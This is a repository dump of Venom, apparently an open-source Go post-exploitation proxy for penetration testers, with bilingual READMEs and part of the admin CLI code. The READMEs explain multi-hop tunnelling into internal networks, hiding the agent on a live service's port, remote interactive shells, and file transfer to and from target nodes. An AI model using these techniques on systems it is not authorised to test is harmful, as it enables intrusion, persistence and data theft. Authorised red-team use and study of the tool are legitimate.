├── .gitignore ├── LICENSE ├── README-en.md ├── README.md ├── admin ├── admin.go ├── cli │ ├── cli.go │ └── interactive.go └── dispather │ ├── builtin.go │ ├── forward.go │ ├── handler.go │ ├── proxy.go │ └── sender.go ├── agent ├── agent.go ├── cli │ ├── cli.go │ ├── cli_iot.go │ ├── cli_linux.go │ └── cli_others.go ├── dispather │ ├── forward.go │ ├── handler.go │ ├── proxy.go │ ├── ssh.go │ └── ssh_iot.go └── init │ ├── agent_iot.go │ ├── agent_linux.go │ └── agent_others.go ├── build.sh ├── crypto ├── aes.go ├── crypto.go └── hash.go ├── docs └── venom.png ├── global ├── global.go └── global_iot.go ├── go.mod ├── go.sum ├── netio ├── init.go ├── init_iot.go ├── init_others.go └── netio.go ├── node ├── buffer.go ├── global.go ├── init.go ├── net.go ├── node.go └── route.go ├── protocol └── protocol.go ├── scripts └── port_reuse.py └── utils ├── kmp.go ├── reuse_port.go └── utils.go /.gitignore: -------------------------------------------------------------------------------- 1 | .DS_Store 2 | .vscode 3 | .idea 4 | release 5 | debug 6 | TODO -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | The MIT License 2 | 3 | Copyright (c) 2010-2018 Google, Inc. http://angularjs.org 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in 13 | all copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 21 | THE SOFTWARE. 22 | -------------------------------------------------------------------------------- /README-en.md: -------------------------------------------------------------------------------- 1 | ## Venom - A Multi-hop Proxy for Penetration Testers 2 | 3 | [简体中文](README.md) | [English](README-en.md) 4 | 5 | Venom is a multi-hop proxy tool developed for penetration testers using Go. 6 | 7 | You can use venom to easily proxy network traffic to a multi-layer intranet, and easily manage intranet nodes. 8 | 9 | 10 | 11 | 12 | > This tool is limited to security research and teaching, and the user bears all legal and related responsibilities caused by the use of this tool! The author does not assume any legal and related responsibilities! 13 | 14 | 15 | ## Features 16 | 17 | - network topology 18 | - multi-hop socks5 proxy 19 | - multi-hop port forward 20 | - port reuse (apache/mysql/...) 21 | - ssh tunnel 22 | - interactive shell 23 | - upload and download file 24 | - network traffic encryption 25 | - supports multiple platforms(Linux/Windows/MacOS) and multiple architectures(x86/x64/arm/mips) 26 | 27 | > Since the IoT device (arm/mips/... architecture) usually has limited resources, in order to reduce the size of the binary file, the binaries for the IoT environment do not support port reuse and ssh tunnel, and in order to reduce memory usage, the binaries only support less network concurrency and smaller buffers. 28 | 29 | ## Installation 30 | 31 | You can directly download the executable files from https://github.com/Dliv3/Venom/releases 32 | 33 | If you want to compile the project from source, you need to install **go >= 1.11**, then execute the following commands. 34 | 35 | ``` 36 | go get -u github.com/Dliv3/Venom/... 37 | 38 | # $GOPATH is the environment variable configured when Go is installed. It can be viewed by the 'go env' command. 39 | cd $GOPATH/src/github.com/Dliv3/Venom 40 | 41 | # Compiled binary files are stored in the release folder in the current directory. 42 | ./build.sh 43 | ``` 44 | 45 | ## Usage 46 | 47 | > Venom demo videos: https://www.youtube.com/playlist?list=PLtZO9vwOND91vZ7yCmlAvISmEl2iQKjdI 48 | 49 | ### 1. admin/agent command line parameters 50 | 51 | - **Both the admin node and the agent node can act as a server or client.** 52 | 53 | Admin listens on the port 9999, the agent connects to the admin: 54 | 55 | ``` 56 | ./admin_macos_x64 -lport 9999 57 | ``` 58 | 59 | ``` 60 | ./agent_linux_x64 -rhost 192.168.0.103 -rport 9999 61 | ``` 62 | 63 | Agent listens on the port 8888, the admin connects to the agent: 64 | 65 | ``` 66 | ./agent_linux_x64 -lport 8888 67 | ``` 68 | 69 | ``` 70 | ./admin_macos_x64 -rhost 192.168.204.139 -rport 8888 71 | ``` 72 | 73 | - **The agent node supports port reuse.** 74 | 75 | Agent provides two port reuse methods 76 | 77 | 1. Port reuse via SO_REUSEPORT and SO_REUSEADDR options 78 | 2. Port reuse via iptables (Linux platform only) 79 | 80 | The ports of most services can be reused on linux. 81 | 82 | The ports of services such as apache and mysql can be reused on Windows, and the ports of RDP, IIS, etc. can not be reused temporarily. 83 | 84 | The reused port can still provide its original service normally. 85 | 86 | **The first port reuse method** 87 | 88 | ``` 89 | # Apache under windows environment: 90 | # Reuse apache 80 port, does not affect apache to provide normal http service 91 | # The value of -lhost is the local ip, and can't be 0.0.0.0. Otherwise, port reuse cannot be performed. 92 | ./agent.exe -lhost 192.168.204.139 -reuse-port 80 93 | ``` 94 | 95 | ``` 96 | ./admin_macos_x64 -rhost 192.168.204.139 -rport 80 97 | ``` 98 | **The second port reuse method** 99 | 100 | ``` 101 | # Apache under linux environment: 102 | # Requires root privileges 103 | sudo ./agent_linux_x64 -lport 8080 -reuse-port 80 104 | ``` 105 | 106 | This method will add the iptables rules, iptables forwards the traffic of the `reuse-port` to the `lport`, and then distribute the traffic by the agent. 107 | 108 | One thing to note is that if the `sigterm`or `sigint` ends the agent (kill or ctrl-c), the agent will automatically clean up the iptables rules. If the agent is killed by `kill -9`, the iptables rule cannot be automatically cleaned up and needs to be cleaned manually because the agent program cannot deal with the `sigkill` signal. 109 | 110 | In order to prevent the iptables rules from being automatically cleaned up and the penetration tester cannot access the 80-port service, the second port reuse method uses `iptables -m recent` to control whether the iptables forwarding rules are enabled through special tcp packets. 111 | 112 | Reference https://threathunter.org/topic/594545184ea5b2f5516e2033 113 | 114 | ``` 115 | # Start the iptables port reuse rules set by the agent on the linux host 116 | # If rhost is on the intranet, you can use the socks5 to proxy traffic. See the following for the use of the socks5 proxy. 117 | python scripts/port_reuse.py --start --rhost 192.168.204.135 --rport 80 118 | 119 | # Connect to the agent 120 | ./admin_macos_x64 -rhost 192.168.204.135 -rport 80 121 | 122 | # If you want to turn off iptables port reuse rules 123 | python scripts/port_reuse.py --stop --rhost 192.168.204.135 --rport 80 124 | ``` 125 | - **network traffic encryption** 126 | 127 | Users can specify a password with the `-passwd` option, which is used to generate the key required for AES encryption. 128 | 129 | ``` 130 | # Specify the password as dlive@dubhe with -passwd 131 | ./admin_macos_x64 -lport 8889 -passwd dlive@dubhe 132 | 133 | # The agent specifies the same password to connect with the admin node 134 | ./agent_macos_x64 -rhost 192.168.0.103 -rport 8889 -passwd dlive@dubhe 135 | ``` 136 | 137 | ### 2. admin node built-in commands 138 | 139 | - **help** (Print help information) 140 | 141 | ``` 142 | (admin node) >>> help 143 | 144 | help Help information. 145 | exit Exit. 146 | show Display network topology. 147 | getdes View description of the target node. 148 | setdes [info] Add a description to the target node. 149 | goto [id] Select id as the target node. 150 | listen [lport] Listen on a port on the target node. 151 | connect [rhost] [rport] Connect to a new node through the target node. 152 | sshconnect [user@ip:port] [dport] Connect to a new node through ssh tunnel. 153 | shell Start an interactive shell on the target node. 154 | upload [local_file] [remote_file] Upload files to the target node. 155 | download [remote_file] [local_file] Download files from the target node. 156 | socks [lport] Start a socks5 server. 157 | lforward [lhost] [sport] [dport] Forward a local sport to a remote dport. 158 | rforward [rhost] [sport] [dport] Forward a remote sport to a local dport. 159 | 160 | ``` 161 | 162 | - **show** (Display network topology) 163 | 164 | The letter 'A' represents the admin node, and the number represents the agent node. 165 | 166 | The following topology diagram shows that node1 connects to the admin node, node2 and node4 connect to 1 node, and node3 connects to node2. 167 | 168 | ``` 169 | (node 1) >>> show 170 | A 171 | + -- 1 172 | + -- 2 173 | + -- 3 174 | + -- 4 175 | ``` 176 | 177 | Note that to operate on a newly joined node, first run the show command on the admin node to synchronize the network topology and node number. 178 | 179 | 180 | - **goto** (You want to operate a node) 181 | 182 | ``` 183 | (admin node) >>> goto 1 184 | (node 1) >>> 185 | ``` 186 | After going to a node, you can use the commands that will be described below. 187 | 188 | - **getdes/setdes** (Get/set node information description) 189 | 190 | ``` 191 | (node 1) >>> setdes linux x64 blahblahblah 192 | (node 1) >>> getdes 193 | linux x64 blahblahblah 194 | ``` 195 | 196 | - **connect/listen/sshconnect** (Connect to another node/Accept connections from other nodes) 197 | 198 | Node1 connects to port 9999 of 192.168.0.103. 199 | ``` 200 | (node 1) >>> connect 192.168.0.103 9999 201 | connect to 192.168.0.103 9999 202 | successfully connect to the remote port! 203 | (node 1) >>> show 204 | A 205 | + -- 1 206 | + -- 2 207 | ``` 208 | 209 | Listening to port 9997 on the node1. 210 | Then run `./agent_linux_x64 -rhost 192.168.204.139 -rport 9997` on another machine to connect to node1. 211 | 212 | ``` 213 | (node 1) >>> listen 9997 214 | listen 9997 215 | the port 9997 is successfully listening on the remote node! 216 | (node 1) >>> show 217 | A 218 | + -- 1 219 | + -- 2 220 | + -- 3 221 | ``` 222 | 223 | Execute `./agent_linux_x64 -lport 9999` on 192.168.0.104, then node3 connects to port 9998 of 192.168.0.104 through the ssh tunnel using sshconnect command. 224 | You can use ssh or private key for ssh authentication. 225 | 226 | ``` 227 | (node 1) >>> goto 3 228 | (node 3) >>> sshconnect root@192.168.0.104:22 9999 229 | use password (1) / ssh key (2)? 2 230 | file path of ssh key: /Users/dlive/.ssh/id_rsa 231 | connect to target host's 9999 through ssh tunnel (root@192.168.0.104:22). 232 | ssh successfully connects to the remote node! 233 | (node 3) >>> show 234 | A 235 | + -- 1 236 | + -- 2 237 | + -- 3 238 | + -- 4 239 | ``` 240 | 241 | - **shell** (Get an interactive shell of the target node) 242 | 243 | ``` 244 | (node 1) >>> shell 245 | You can execute commands in this shell :D, 'exit' to exit. 246 | bash: no job control in this shell 247 | bash-3.2$ whoami 248 | whoami 249 | dlive 250 | bash-3.2$ exit 251 | exit 252 | exit 253 | ``` 254 | 255 | - **upload/download** (Upload/download files from the target node) 256 | 257 | Upload local /tmp/test.pdf to node1's /tmp/test2.pdf 258 | 259 | ``` 260 | (node 1) >>> upload /tmp/test.pdf /tmp/test2.pdf 261 | upload /tmp/test.pdf to node 1: /tmp/test2.pdf 262 | this file is too large(>100M), do you still want to upload it? (y/n)y 263 | 154.23 MiB / 154.23 MiB [========================================] 100.00% 1s 264 | upload file successfully! 265 | ``` 266 | Download node1's file /tmp/test2.pdf to your local /tmp/test3.pdf 267 | ``` 268 | (node 1) >>> download /tmp/test2.pdf /tmp/test3.pdf 269 | download /tmp/test2.pdf from node 1: /tmp/test3.pdf 270 | this file is too large(>100M), do you still want to download it? (y/n)y 271 | 154.23 MiB / 154.23 MiB [========================================] 100.00% 1s 272 | download file successfully! 273 | ``` 274 | 275 | - **socks** (Establish a socks5 proxy on the target node) 276 | 277 | ``` 278 | (node 1) >>> socks 7777 279 | a socks5 proxy of the target node has started up on local port 7777 280 | ``` 281 | 282 | After executing the socks command, a port will be opened locally on the admin node, such as 7777 above, using 7777 to perform the socks5 proxy. 283 | 284 | - **lforward/rforward** (Forward local port to remote / forward remote port to local) 285 | 286 | Lforward forwards the local 8888 port of the admin node to the 8888 port of node1. 287 | 288 | ``` 289 | (node 1) >>> lforward 127.0.0.1 8888 8888 290 | forward local network 127.0.0.1 port 8888 to remote port 8888 291 | ``` 292 | 293 | Rforward forwards the 192.168.204.103 port 8889 of the node1 network to the local 8889 port of the admin node. 294 | ``` 295 | (node 1) >>> rforward 192.168.204.103 8889 8889 296 | forward remote network 192.168.204.103 port 8889 to local port 8889 297 | ``` 298 | 299 | ### 3. attention 300 | 301 | - Only one admin node is supported at this stage to manage the network. 302 | - To operate on a newly joined node, first run the show command on the admin node to synchronize the network topology and node number. 303 | - When using the second port reuse method (based on iptables), you need to use `script/port_reuse.py` to enable the port reuse rules set by the agent on the target host. 304 | 305 | ## TODO 306 | 307 | - [ ] combined with regeorg 308 | - [ ] multiple administrator nodes 309 | - [x] network traffic encryption 310 | - [ ] support socks5 udp 311 | - [ ] RESTful API 312 | - [ ] combined with meterpreter (to be discussed) 313 | - [ ] turn off socks5 and port forwarding 314 | 315 | ## Acknowledgement 316 | 317 | - [rootkiter#Termite](https://github.com/rootkiter/Termite) 318 | - [ring04h#s5.go](https://github.com/ring04h/s5.go) 319 | - [n1nty#远程遥控 IPTables 进行端口复用](https://threathunter.org/topic/594545184ea5b2f5516e2033) -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ## Venom - A Multi-hop Proxy for Penetration Testers 2 | 3 | [简体中文](README.md) | [English](README-en.md) 4 | 5 | Venom是一款为渗透测试人员设计的使用Go开发的多级代理工具。 6 | 7 | Venom可将多个节点进行连接,然后以节点为跳板,构建多级代理。 8 | 9 | 渗透测试人员可以使用Venom轻松地将网络流量代理到多层内网,并轻松地管理代理节点。 10 | 11 | 12 | 13 | > 此工具仅限于安全研究和教学,用户承担因使用此工具而导致的所有法律和相关责任! 作者不承担任何法律和相关责任! 14 | 15 | 16 | ## 特性 17 | 18 | - 可视化网络拓扑 19 | - 多级socks5代理 20 | - 多级端口转发 21 | - 端口复用 (apache/mysql/...) 22 | - ssh隧道 23 | - 交互式shell 24 | - 文件的上传和下载 25 | - 节点间通信加密 26 | - 支持多种平台(Linux/Windows/MacOS)和多种架构(x86/x64/arm/mips) 27 | 28 | > 由于IoT设备(arm/mips/...架构)通常资源有限,为了减小二进制文件的大小,该项目针对IoT环境编译的二进制文件不支持端口复用和ssh隧道这两个功能,并且为了减小内存使用限制了网络并发数和缓冲区大小。 29 | 30 | ## 安装 31 | 32 | 您可以直接下载使用[release](https://github.com/Dliv3/Venom/releases)中编译好的可执行文件 33 | 34 | 如果您想从源码编译该项目, 需要安装 **go >= 1.11**, 然后执行下面的命令 35 | 36 | ``` 37 | go get -u github.com/Dliv3/Venom/... 38 | 39 | # $GOPATH是安装Go时配置的环境变量,可通过go env命令查看 40 | cd $GOPATH/src/github.com/Dliv3/Venom 41 | 42 | # 编译好的二进制文件存放在当前目录下的release文件夹中 43 | ./build.sh 44 | ``` 45 | 46 | ## 使用 47 | 48 | > Youtube演示视频: https://www.youtube.com/playlist?list=PLtZO9vwOND91vZ7yCmlAvISmEl2iQKjdI 49 | 50 | ### 1. admin/agent命令行参数 51 | 52 | - **admin节点和agent节点均可监听连接也可发起连接** 53 | 54 | admin监听端口,agent发起连接: 55 | 56 | ``` 57 | ./admin_macos_x64 -lport 9999 58 | ``` 59 | 60 | ``` 61 | ./agent_linux_x64 -rhost 192.168.0.103 -rport 9999 62 | ``` 63 | 64 | agent监听端口,admin发起连接: 65 | 66 | ``` 67 | ./agent_linux_x64 -lport 8888 68 | ``` 69 | 70 | ``` 71 | ./admin_macos_x64 -rhost 192.168.204.139 -rport 8888 72 | ``` 73 | 74 | - **agent节点支持端口复用** 75 | 76 | agent提供了两种端口复用方法 77 | 78 | 1. 通过SO_REUSEPORT和SO_REUSEADDR选项进行端口复用 79 | 2. 通过iptables进行端口复用(仅支持Linux平台) 80 | 81 | 通过venom提供的端口复用功能,在windows上可以复用apache、mysql等服务的端口,暂时无法复用RDP、IIS等服务端口,在linux上可以复用多数服务端口。被复用的端口仍可正常对外提供其原有服务。 82 | 83 | **第一种端口复用方法** 84 | 85 | ``` 86 | # 以windows下apache为例 87 | # 复用apache 80端口,不影响apache提供正常的http服务 88 | # -lhost 的值为本机ip,不能写0.0.0.0,否则无法进行端口复用 89 | ./agent.exe -lhost 192.168.204.139 -reuse-port 80 90 | ``` 91 | 92 | ``` 93 | ./admin_macos_x64 -rhost 192.168.204.139 -rport 80 94 | ``` 95 | 96 | **第二种端口复用方法** 97 | 98 | ``` 99 | # 以linux下apache为例 100 | # 需要root权限 101 | sudo ./agent_linux_x64 -lport 8080 -reuse-port 80 102 | ``` 103 | 104 | 这种端口复用方法会在本机设置iptables规则,将`reuse-port`的流量转发到`lport`,再由agent分发流量 105 | 106 | 需要注意一点,如果通过`sigterm`,`sigint`信号结束程序(kill或ctrl-c),程序可以自动清理iptables规则。如果agent被`kill -9`杀掉则无法自动清理iptables规则,需要手动清理,因为agent程序无法处理`sigkill`信号。 107 | 108 | 为了避免iptables规则不能自动被清理导致渗透测试者无法访问80端口服务,所以第二种端口复用方法采用了`iptables -m recent`通过特殊的tcp包控制iptables转发规则是否开启。 109 | 110 | 这里的实现参考了 https://threathunter.org/topic/594545184ea5b2f5516e2033 111 | 112 | ``` 113 | # 启动agent在linux主机上设置的iptables规则 114 | # 如果rhost在内网,可以使用socks5代理脚本流量,socks5代理的使用见下文 115 | python scripts/port_reuse.py --start --rhost 192.168.204.135 --rport 80 116 | 117 | # 连接agent节点 118 | ./admin_macos_x64 -rhost 192.168.204.135 -rport 80 119 | 120 | # 如果要关闭转发规则 121 | python scripts/port_reuse.py --stop --rhost 192.168.204.135 --rport 80 122 | ``` 123 | 124 | - **节点间通信加密** 125 | 126 | Venom提供节点间通信加密功能,用户可通过`-passwd`选项指定密码,该密码用于生成AES加密所需的密钥。 127 | 128 | ``` 129 | # 通过-passwd指定密码为dlive@dubhe 130 | ./admin_macos_x64 -lport 8889 -passwd dlive@dubhe 131 | 132 | # agent指定相同的密码与admin节点连接 133 | ./agent_macos_x64 -rhost 192.168.0.103 -rport 8889 -passwd dlive@dubhe 134 | ``` 135 | 136 | ### 2. admin节点内置命令 137 | 138 | - **help** 打印帮助信息 139 | 140 | ``` 141 | (admin node) >>> help 142 | 143 | help Help information. 144 | exit Exit. 145 | show Display network topology. 146 | getdes View description of the target node. 147 | setdes [info] Add a description to the target node. 148 | goto [id] Select id as the target node. 149 | listen [lport] Listen on a port on the target node. 150 | connect [rhost] [rport] Connect to a new node through the target node. 151 | sshconnect [user@ip:port] [dport] Connect to a new node through ssh tunnel. 152 | shell Start an interactive shell on the target node. 153 | upload [local_file] [remote_file] Upload files to the target node. 154 | download [remote_file] [local_file] Download files from the target node. 155 | socks [lport] Start a socks5 server. 156 | lforward [lhost] [sport] [dport] Forward a local sport to a remote dport. 157 | rforward [rhost] [sport] [dport] Forward a remote sport to a local dport. 158 | 159 | ``` 160 | 161 | - **show** 显示网络拓扑 162 | 163 | A表示admin节点,数字表示agent节点 164 | 165 | 下面的拓扑图表示,admin节点下连接了1节点,1节点下连接了2、4节点,2节点下连接了3节点 166 | 167 | ``` 168 | (node 1) >>> show 169 | A 170 | + -- 1 171 | + -- 2 172 | + -- 3 173 | + -- 4 174 | ``` 175 | 注意要对新加入的节点进行操作,需要首先在admin节点运行show命令同步网络拓扑和节点编号 176 | 177 | - **goto** 操作某节点 178 | 179 | ``` 180 | (admin node) >>> goto 1 181 | (node 1) >>> 182 | ``` 183 | 在goto到某节点之后你就可以使用下面将要介绍的命令 184 | 185 | - **getdes/setdes** 获取/设置节点信息描述 186 | 187 | ``` 188 | (node 1) >>> setdes linux x64 blahblahblah 189 | (node 1) >>> getdes 190 | linux x64 blahblahblah 191 | ``` 192 | 193 | - **connect/listen/sshconnect** 节点间互连 194 | 195 | node 1节点连接192.168.0.103的9999端口 196 | 197 | ``` 198 | (node 1) >>> connect 192.168.0.103 9999 199 | connect to 192.168.0.103 9999 200 | successfully connect to the remote port! 201 | (node 1) >>> show 202 | A 203 | + -- 1 204 | + -- 2 205 | ``` 206 | 在node1节点监听9997端口, 然后在另一台机器上运行`./agent_linux_x64 -rhost 192.168.204.139 -rport 9997` 连接node1 207 | ``` 208 | (node 1) >>> listen 9997 209 | listen 9997 210 | the port 9997 is successfully listening on the remote node! 211 | (node 1) >>> show 212 | A 213 | + -- 1 214 | + -- 2 215 | + -- 3 216 | ``` 217 | 在192.168.0.104上执行`./agent_linux_x64 -lport 9999`, node3通过sshconnect建立ssh隧道连接192.168.0.104的9999端口。你可以使用密码或者是ssh私钥进行认证。 218 | ``` 219 | (node 1) >>> goto 3 220 | (node 3) >>> sshconnect root@192.168.0.104:22 9999 221 | use password (1) / ssh key (2)? 2 222 | file path of ssh key: /Users/dlive/.ssh/id_rsa 223 | connect to target host's 9999 through ssh tunnel (root@192.168.0.104:22). 224 | ssh successfully connects to the remote node! 225 | (node 3) >>> show 226 | A 227 | + -- 1 228 | + -- 2 229 | + -- 3 230 | + -- 4 231 | ``` 232 | 233 | - **shell** 获取节点的交互式shell 234 | 235 | ``` 236 | (node 1) >>> shell 237 | You can execute commands in this shell :D, 'exit' to exit. 238 | bash: no job control in this shell 239 | bash-3.2$ whoami 240 | whoami 241 | dlive 242 | bash-3.2$ exit 243 | exit 244 | exit 245 | ``` 246 | 247 | - **upload/download** 向节点上传/从节点下载文件 248 | 249 | 将本地/tmp/test.pdf上传到node1的/tmp/test2.pdf 250 | 251 | ``` 252 | (node 1) >>> upload /tmp/test.pdf /tmp/test2.pdf 253 | upload /tmp/test.pdf to node 1: /tmp/test2.pdf 254 | this file is too large(>100M), do you still want to upload it? (y/n)y 255 | 154.23 MiB / 154.23 MiB [========================================] 100.00% 1s 256 | upload file successfully! 257 | ``` 258 | 将node1的文件/tmp/test2.pdf下载到本地的/tmp/test3.pdf 259 | ``` 260 | (node 1) >>> download /tmp/test2.pdf /tmp/test3.pdf 261 | download /tmp/test2.pdf from node 1: /tmp/test3.pdf 262 | this file is too large(>100M), do you still want to download it? (y/n)y 263 | 154.23 MiB / 154.23 MiB [========================================] 100.00% 1s 264 | download file successfully! 265 | ``` 266 | 267 | - **socks** 建立到某节点的socks5代理 268 | 269 | ``` 270 | (node 1) >>> socks 7777 271 | a socks5 proxy of the target node has started up on local port 7777 272 | ``` 273 | 274 | 执行成功socks命令之后,会在admin节点本地开启一个端口,如上述的7777,使用7777即可进行socks5代理 275 | 276 | - **lforward/rforward** 将本地端口转发到远程/将远程端口转发到本地 277 | 278 | lforward将admin节点本地的8888端口转发到node1的8888端口 279 | 280 | ``` 281 | (node 1) >>> lforward 127.0.0.1 8888 8888 282 | forward local network 127.0.0.1 port 8888 to remote port 8888 283 | ``` 284 | 285 | rforward 将node1网段的192.168.204.103端口8889转发到admin节点本地的8889端口 286 | ``` 287 | (node 1) >>> rforward 192.168.204.103 8889 8889 288 | forward remote network 192.168.204.103 port 8889 to local port 8889 289 | ``` 290 | 291 | ### 3. 注意事项 292 | 293 | - 现阶段仅支持单个admin节点对网络进行管理 294 | - 要对新加入的节点进行操作,需要首先在admin节点运行show命令同步网络拓扑和节点编号 295 | - 当使用第二种端口复用方法(基于iptables)时,你需要使用`script/port_reuse.py`去启用agent在目标主机上设置的端口复用规则。 296 | 297 | ## TODO 298 | 299 | - [ ] 与regeorg联动 300 | - [ ] 多个admin节点同时对网络进行管理 301 | - [x] 节点间通信流量加密 302 | - [ ] socks5对udp的支持 303 | - [ ] 与meterpreter联动 (待定) 304 | - [ ] RESTful API 305 | - [ ] 关闭代理与端口转发 306 | 307 | ## 致谢 308 | 309 | - [rootkiter#Termite](https://github.com/rootkiter/Termite) 310 | - [ring04h#s5.go](https://github.com/ring04h/s5.go) 311 | - [n1nty#远程遥控 IPTables 进行端口复用](https://threathunter.org/topic/594545184ea5b2f5516e2033) 312 | 313 | -------------------------------------------------------------------------------- /admin/admin.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "runtime" 6 | 7 | "github.com/Dliv3/Venom/admin/cli" 8 | "github.com/Dliv3/Venom/admin/dispather" 9 | "github.com/Dliv3/Venom/crypto" 10 | "github.com/Dliv3/Venom/netio" 11 | "github.com/Dliv3/Venom/node" 12 | ) 13 | 14 | func main() { 15 | 16 | runtime.GOMAXPROCS(runtime.NumCPU()) 17 | 18 | cli.ParseArgs() 19 | fmt.Println("Venom Admin Node Start...") 20 | cli.ShowBanner() 21 | 22 | // fmt.Println(node.CurrentNode.HashID) 23 | 24 | node.CurrentNode.IsAdmin = 1 25 | crypto.InitEncryption(cli.Args.Password) 26 | node.CurrentNode.InitCommandBuffer() 27 | node.CurrentNode.InitDataBuffer() 28 | 29 | dispather.InitAdminHandler() 30 | 31 | if cli.Args.Mode == cli.CONNECT_MODE { 32 | netio.InitNode( 33 | "connect", 34 | fmt.Sprintf("%s:%d", cli.Args.RemoteIP, uint16(cli.Args.RemotePort)), 35 | dispather.AdminClient, false, 0) 36 | } else if cli.Args.Mode == cli.LISTEN_MODE { 37 | netio.InitNode( 38 | "listen", 39 | fmt.Sprintf("0.0.0.0:%d", uint16(cli.Args.LocalPort)), 40 | dispather.AdminServer, false, 0) 41 | } 42 | cli.Interactive() 43 | } 44 | -------------------------------------------------------------------------------- /admin/cli/cli.go: -------------------------------------------------------------------------------- 1 | package cli 2 | 3 | import ( 4 | "flag" 5 | "fmt" 6 | "os" 7 | "runtime" 8 | ) 9 | 10 | // COMMAND LINE INTERFACE 11 | 12 | const ( 13 | NORMAL_MODE = 0 14 | LISTEN_MODE = 1 15 | CONNECT_MODE = 2 16 | ) 17 | 18 | type Option struct { 19 | LocalPort int 20 | RemoteIP string 21 | RemotePort int 22 | Mode int 23 | Password string 24 | } 25 | 26 | // Args 27 | var Args Option 28 | 29 | func init() { 30 | flag.IntVar(&Args.LocalPort, "lport", 0, "Listen a local `port`.") 31 | flag.StringVar(&Args.RemoteIP, "rhost", "", "Remote `ip` address.") 32 | flag.IntVar(&Args.RemotePort, "rport", 0, "The `port` on remote host.") 33 | flag.StringVar(&Args.Password, "passwd", "", "The `password` used in encrypted communication. (optional)") 34 | // change default Usage 35 | flag.Usage = usage 36 | } 37 | 38 | func usage() { 39 | ShowBanner() 40 | fmt.Fprintf(os.Stderr, `Venom version: 1.1 41 | 42 | Usage: 43 | $ ./venom_admin 44 | $ ./venom_admin -lport [port] 45 | $ ./venom_admin -rhost [ip] -rport [port] 46 | 47 | Options: 48 | `) 49 | flag.PrintDefaults() 50 | } 51 | 52 | // ParseArgs is a function aim to parse the command line args 53 | func ParseArgs() { 54 | flag.Parse() 55 | 56 | if Args.LocalPort == 0 && Args.RemoteIP != "" && Args.RemotePort != 0 { 57 | // connect to remote port 58 | Args.Mode = CONNECT_MODE 59 | return 60 | } 61 | 62 | if Args.LocalPort != 0 && Args.RemoteIP == "" && Args.RemotePort == 0 { 63 | // listen a local port 64 | Args.Mode = LISTEN_MODE 65 | return 66 | } 67 | 68 | if Args.RemoteIP == "" && Args.RemotePort == 0 && Args.LocalPort == 0 { 69 | Args.Mode = NORMAL_MODE 70 | return 71 | } 72 | 73 | // error 74 | flag.Usage() 75 | os.Exit(0) 76 | } 77 | 78 | func ShowBanner() { 79 | if runtime.GOOS == "windows" { 80 | PrintWindowsBanner() 81 | } else { 82 | PrintBanner() 83 | } 84 | fmt.Println() 85 | } 86 | 87 | func PrintWindowsBanner() { 88 | fmt.Printf(` 89 | ____ ____ { v1.1 author: Dlive } 90 | \ \ / /____ ____ ____ _____ 91 | \ Y // __ \ / \ / \ / \ 92 | \ /\ ___/| | ( <_> ) Y Y \ 93 | \___/ \___ >___| /\____/|__|_| / 94 | \/ \/ \/ 95 | `) 96 | } 97 | 98 | // ShowBanner http://patorjk.com/software/taag/#p=display&h=3&f=Bloody&t=venom 99 | func PrintBanner() { 100 | fmt.Printf("\x1b[0;34m%s \x1b[0m", ` 101 | 102 | ██▒ █▓█████ ███▄ █ ▒█████ ███▄ ▄███▓ 103 | ▓██░ █▓█ ▀ ██ ▀█ █▒██▒ ██▓██▒▀█▀ ██▒ 104 | ▓██ █▒▒███ ▓██ ▀█ ██▒██░ ██▓██ ▓██░ 105 | ▒██ █░▒▓█ ▄▓██▒ ▐▌██▒██ ██▒██ ▒██ 106 | ▒▀█░ ░▒████▒██░ ▓██░ ████▓▒▒██▒ ░██▒ 107 | ░ ▐░ ░░ ▒░ ░ ▒░ ▒ ▒░ ▒░▒░▒░░ ▒░ ░ ░ 108 | ░ ░░ ░ ░ ░ ░░ ░ ▒░ ░ ▒ ▒░░ ░ ░ 109 | ░░ ░ ░ ░ ░░ ░ ░ ▒ ░ ░ 110 | ░ ░ ░ ░ ░ ░ ░ 111 | ░ 112 | { v1.1 author: Dlive } 113 | `) 114 | } 115 | 116 | // ShowUsage 117 | func ShowUsage() { 118 | fmt.Println(` 119 | help Help information. 120 | exit Exit. 121 | show Display network topology. 122 | getdes View description of the target node. 123 | setdes [info] Add a description to the target node. 124 | goto [id] Select id as the target node. 125 | listen [lport] Listen on a port on the target node. 126 | connect [rhost] [rport] Connect to a new node through the target node. 127 | sshconnect [user@ip:port] [dport] Connect to a new node through ssh tunnel. 128 | shell Start an interactive shell on the target node. 129 | upload [local_file] [remote_file] Upload files to the target node. 130 | download [remote_file] [local_file] Download files from the target node. 131 | socks [lport] Start a socks5 server. 132 | lforward [lhost] [sport] [dport] Forward a local sport to a remote dport. 133 | rforward [rhost] [sport] [dport] Forward a remote sport to a local dport. 134 | `) 135 | } 136 | -------------------------------------------------------------------------------- /admin/cli/interactive.go: -------------------------------------------------------------------------------- 1 | package cli 2 | 3 | import ( 4 | "bufio" 5 | "fmt" 6 | "io/ioutil" 7 | "net" 8 | "os" 9 | "strconv" 10 | "strings" 11 | 12 | "github.com/Dliv3/Venom/admin/dispather" 13 | "github.com/Dliv3/Venom/node" 14 | "github.com/Dliv3/Venom/utils" 15 | ) 16 | 17 | // admin节点想要操作的对端节点的ID,主要用于goto命令 18 | var currentPeerNodeHashID string 19 | 20 | // need code refactoring 21 | func isAdmin() bool { 